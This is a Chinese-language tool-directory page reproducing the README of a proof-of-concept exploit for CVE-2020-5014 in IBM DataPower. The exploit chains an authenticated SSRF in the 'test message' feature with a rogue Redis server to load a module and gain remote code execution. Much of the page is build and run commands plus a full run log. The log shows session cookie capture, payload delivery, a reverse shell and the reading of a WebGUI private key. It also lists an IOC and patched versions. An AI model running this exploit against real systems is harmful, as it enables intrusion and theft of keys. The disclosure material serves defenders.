Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
datapower-redis-rce-exploit — 一个针对IBM Datapower的已验证Redis RCE漏洞利用的POC,滥用测试消息功能(CVE-2020-5014) | Kitploit
工具/GitHubGitHub/copethomas/datapower-redis-rce-exploit
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试红队远程访问工具
GitHubcopethomas/datapower-redis-rce-exploit

datapower-redis-rce-exploit

一个针对IBM Datapower的已验证Redis RCE漏洞利用的POC,滥用测试消息功能(CVE-2020-5014)

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库网站
2214年前尚未审核
分享

datapower-redis-rce-exploit (CVE-2020-5014)

针对IBM DataPower的认证Redis RCE漏洞利用的概念验证(POC),滥用"测试消息"功能。

poc_demo

Youtube上的完整解释和演示

tomcope.com上的博客文章

说明

通过经过身份验证的会话访问DataPower WebGUI上的"发送测试消息"功能,可以对DataPower内部Redis服务器执行SSRF攻击。内部Redis服务器受密码保护,但似乎使用硬编码密码。然后,可以将此漏洞与现有的Redis RCE漏洞结合使用,以DataPower底层Linux操作系统中的drouter用户身份执行任意代码。

快速开始

  1. 克隆此仓库
  2. 编译模块:
    • cd RedisModulesSDK/dpredisshell/
    • make
  3. 编译Go代码
    • go build
  4. 检查参数
    • ./datapower-redis-rce-exploit -h
  • 运行漏洞利用
    • ./datapower-redis-rce-exploit -dpip 1.2.3.4 -dpredismodule RedisModulesSDK/dpredisshell/dpredisshell.so -dpredispasswd xxx -fakeredisip 5.6.7.8
  • 示例

    以下是通过Docker运行DataPower并通过本地localhost运行漏洞利用的完整示例:

    1. docker run -it -e DATAPOWER_ACCEPT_LICENSE=true -e DATAPOWER_INTERACTIVE=true -e DATAPOWER_WORKER_THREADS=4 --network='host' ibmcom/datapower:10.0.1.1
    2. 使用用户名admin和密码admin登录DataPower
    3. 使用WebGUI进行配置:
    root@kitploit:~
    idg# config
    Global mode
    idg(config)# web-mgmt
    Modify Web Management Service configuration
    
    idg(config web-mgmt)# admin-state enabled
    idg(config web-mgmt)# exit
    idg(config)# write mem
    Overwrite previously saved configuration? Yes/No [y/n]: y
    Configuration saved successfully.
    idg(config)# exit
    idg# 
    
    1. 检查WebUI是否运行:
    root@kitploit:~
    idg# show web-mgmt
    
    web-mgmt [up] 
    --------
     admin-state enabled 
     ip-address 0.0.0.0 
     port 9090 
     save-config-overwrite on 
     idle-timeout 600 Seconds
     acl web-mgmt  [up]
     ssl-config-type server 
     enable-sts on 
    
    idg# 
    
    1. 打开一个新的终端窗口
    2. 克隆此仓库
      • git clone https://github.com/copethomas/datapower-redis-rce-exploit
    3. 编译模块:
      • cd RedisModulesSDK/dpredisshell/
      • make
    4. 编译Go代码
      • cd ../../
      • go build
    5. 将内部Redis密码加载到Shell中。(阅读说明了解更多详情)
    root@kitploit:~
    $ read DPREDISPASSWD
    apples
    $ echo $DPREDISPASSWD
    apples
    
    1. 运行漏洞利用:
    root@kitploit:~
    $ ./datapower-redis-rce-exploit -dpip 127.0.0.1 -dpport 9090 -dpredismodule RedisModulesSDK/dpredisshell/dpredisshell.so -dpredispasswd $DPREDISPASSWD -dpredisport 16379 -dpwebguipassword "admin" -dpwebguiuser "admin" -fakeredisip 127.0.0.1 -fakeredisport 8888
    Main      - 2020/10/18 23:34:29 datapower-redis-rce-exploit - Created by Thomas Cope
    Main      - 2020/10/18 23:34:29 Starting Rogue Redis Server...
    Main      - 2020/10/18 23:34:29 Attempting to Login to Datapower...
    FakeRedis - 2020/10/18 23:34:29 Starting Fake Redis Server on 127.0.0.1:8888
    FakeRedis - 2020/10/18 23:34:29 Online and Ready!
    Main      - 2020/10/18 23:34:29 Datapower Credentials Valid!
    Main      - 2020/10/18 23:34:29 Datapower Login Token = JlkIp5wAvuQfSh5+cY49BovA.5
    Main      - 2020/10/18 23:34:29 Exchanging Login token for auth cookie...
    Main      - 2020/10/18 23:34:29 Got login Cookie OK! - [ibmwdp=1wBXDLzY9XdTNz4aD5+JQspc.5; Path=/; HttpOnly; Secure]+
    Main      - 2020/10/18 23:34:29 Datapower Login Complete!
    Main      - 2020/10/18 23:34:29 Attempting Redis exploit via Datapower 'Test Connection' ...
    Main      - 2020/10/18 23:34:29 Performing Datapower 'Test Connection'...
    FakeRedis - 2020/10/18 23:34:29 Accepting connection...
    FakeRedis - 2020/10/18 23:34:29 Accepted Connection OK!
    FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis
    FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis <- FakeRedis
    FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis
    FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis <- FakeRedis
    FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis
    FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis <- FakeRedis
    FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis
    FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis <- FakeRedis
    Main      - 2020/10/18 23:34:29 Datapower 'Test Connection' Finished OK
    Main      - 2020/10/18 23:34:29 Datapower 'Test Connection' sent OK, waiting for redis connection...
    FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis
    FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis <- FakeRedis
    FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis
    FakeRedis - 2020/10/18 23:34:29 Uploading module...
    FakeRedis - 2020/10/18 23:34:29 Upload Complete!
    Main      - 2020/10/18 23:34:29 Payload has been delivered to Datapower internal redis!
    Main      - 2020/10/18 23:34:29 Performing clean up...
    Main      - 2020/10/18 23:34:29 Performing Datapower 'Test Connection'...
    FakeRedis - 2020/10/18 23:34:29 Error reading data from network connection: read tcp 127.0.0.1:8888->127.0.0.1:44207: read: connection reset by peer - (This is expected)
    FakeRedis - 2020/10/18 23:34:29 Connection Closed
    Main      - 2020/10/18 23:34:30 Datapower 'Test Connection' Finished OK
    Main      - 2020/10/18 23:34:30 Requesting Reverse Shell via Datapower 'Test Connection' ...
    Main      - 2020/10/18 23:34:30 Waiting for Reverse Shell...
    Main      - 2020/10/18 23:34:30 Performing Datapower 'Test Connection'...
    FakeRedis - 2020/10/18 23:34:30 Accepting connection...
    Main      - 2020/10/18 23:34:30 Got Reverse Shell!
    Main      - 2020/10/18 23:34:30 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    id
    uid=1000(drouter) gid=1000(drouter) groups=1000(drouter)
    ps -ef
    UID          PID    PPID  C STIME TTY          TIME CMD
    drouter        1       0  6 22:00 pts/0    00:02:15 /opt/ibm/datapower/root/drouter
    drouter       24       1  0 22:00 pts/0    00:00:06 QuotaEnforcement unix:/opt/ibm/datapower/drouter/ramdisk2/sidecar-QuotaEnforcement-0x7f4f38c6e2c8 QuotaEnforcement
    drouter       27      24  0 22:00 pts/0    00:00:05 /opt/ibm/datapower/root/dp-redis-server 127.0.0.1:16379
    drouter       28      24  0 22:00 pts/0    00:00:08 /opt/ibm/datapower/root/dp-redis-sentinel 127.0.0.1:26379 [sentinel]
    drouter       40       1  0 22:00 pts/0    00:00:05 dpmon -F dpmon -T -s 1 -c 900 -U /opt/ibm/datapower/drouter/temporary/dpmon/ -m /opt/ibm/datapower/drouter/temporary/dpmon/ -i 8 -M 31457280 -Z UTC -B 0
    drouter       61      27  0 22:34 pts/0    00:00:00 [sh]
    drouter       63      61  0 22:34 pts/0    00:00:00 
    find / -name webgui-privkey.pem 2>/dev/null
    /opt/ibm/datapower/root/secure/usrcerts/webgui-privkey.pem
    head -2 /opt/ibm/datapower/root/secure/usrcerts/webgui-privkey.pem
    -----BEGIN PRIVATE KEY-----
    MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDYFBod9TmWZLKT
    

    入侵指标(IOC)

    在漏洞利用过程中,DataPower会记录多个内部Redis URL的url-open错误。这是因为Redis没有以DataPower期望的XML格式进行回复。

    root@kitploit:~
    18:22:55	network	error	130	request	  	0x80e00040	xmlfirewall (map): url-open: Remote error on url 'http://127.0.0.1:16379/'
    

    修复/补丁

    已在10.0.1.2和2018.4.1.15版本中修复

    • https://www.ibm.com/support/pages/node/6426789
    • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-5014

    链接与致谢

    • https://github.com/n0b0dyCN/redis-rogue-server - 针对此漏洞利用的Python版本以及exp.cRedis模块
    • https://github.com/RicterZ/RedisModules-ExecuteCommand - 对于原始Redis模块
    • https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf - 对于Redis RCE的发现

    原创发现由我(Thomas Cope)于2020年10月21日发现 - 通过Hackerone向IBM报告

    下载工具